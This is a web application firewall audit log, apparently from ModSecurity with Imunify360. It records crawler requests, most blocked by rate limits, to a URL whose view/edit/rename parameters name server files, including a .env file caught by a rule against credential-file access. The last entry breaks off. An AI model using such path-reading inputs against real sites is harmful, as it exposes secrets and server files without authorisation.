{"transaction":{"time":"13/Mar/2026:09:43:53.799783 +0100","transaction_id":"abPOSVRY1ZHue1KnYxoqBAAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fgeni2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7f83734eea665b76f3f4b42ea92ba11c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14419087"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7f83734eea665b76f3f4b42ea92ba11c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/geni2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1851,"p3":0,"p4":0,"p5":332,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:54.121855 +0100","transaction_id":"abPOSkxHnLkyPWuTIW5cPwAAAYg","remote_address":"216.73.216.152","remote_port":45050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f704565c40f5fb498d3fcee04009853f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620156"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f704565c40f5fb498d3fcee04009853f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":2558,"p3":0,"p4":0,"p5":432,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:53.251829 +0100","transaction_id":"abPOhag_lPa2owFZ6_Pu2gAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2F.env.example HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f12d581edaacec8d98aa6f9be62db554","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14419250"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f12d581edaacec8d98aa6f9be62db554","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPOhag_lPa2owFZ6_Pu2gAAAQU\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":231,"p2":4293,"p3":0,"p4":0,"p5":377,"sr":309,"sw":96,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.276019 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5cggAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2F%2Fphp-apps.socket HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f869f5dcca562010bf5223e6561041dc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042564"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f869f5dcca562010bf5223e6561041dc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=//php-apps.socket& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":176,"p2":1730,"p3":0,"p4":0,"p5":357,"sr":105,"sw":78,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.391388 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5chAAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fanimate.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"697c60054af691845b2b34ed52f2c5ef","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028681"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"697c60054af691845b2b34ed52f2c5ef","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/animate.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":187,"p2":1726,"p3":0,"p4":0,"p5":356,"sr":90,"sw":82,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.489852 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5chQAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fcss%2Fbootstrap.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aedebc8a473910d68a64fcbb9f0ea779","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620325"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aedebc8a473910d68a64fcbb9f0ea779","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/css/bootstrap.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":239,"p2":1844,"p3":0,"p4":0,"p5":280,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.592486 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5chgAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito.com%2Fbien.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0d0887e9b20345eba17d7d4081611a74","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028684"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0d0887e9b20345eba17d7d4081611a74","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito.com/bien.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":226,"p2":1702,"p3":0,"p4":0,"p5":500,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.692938 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5chwAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2FprettyPhoto.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"247f2906c0a93e7d69e71fdded2c3636","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620328"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"247f2906c0a93e7d69e71fdded2c3636","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/prettyPhoto.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":186,"p2":1741,"p3":0,"p4":0,"p5":416,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.794851 +0100","transaction_id":"abPOi0xHnLkyPWuTIW5ciAAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fmain.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0dcce0485d772b1ba2697e208a46b09c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028687"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0dcce0485d772b1ba2697e208a46b09c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/main.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1690,"p3":0,"p4":0,"p5":368,"sr":107,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.894241 +0100","transaction_id":"abPOi7J190y1fElY11bnLgAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fforms%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6254487ce635633f6e5f5832dff47f7d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028690"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6254487ce635633f6e5f5832dff47f7d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/forms/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":256,"p2":2098,"p3":0,"p4":0,"p5":408,"sr":121,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:44:59.994940 +0100","transaction_id":"abPOi7J190y1fElY11bnLwAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fphpunit.xml HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5f340e7fee970cab42ca2bed31177bd1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028693"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5f340e7fee970cab42ca2bed31177bd1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/phpunit.xml& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":175,"p2":1783,"p3":0,"p4":0,"p5":351,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.085636 +0100","transaction_id":"abPOjE26I4peWFmz15ymoQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2Fserver.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0d6fa54fe36be298b198bb35a0d5f3d4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239265"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0d6fa54fe36be298b198bb35a0d5f3d4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/server.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":190,"p2":1684,"p3":0,"p4":0,"p5":374,"sr":107,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.178737 +0100","transaction_id":"abPOjE26I4peWFmz15ymogAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fslick.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"13e5e12ee8951f4226c08ac166975381","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com 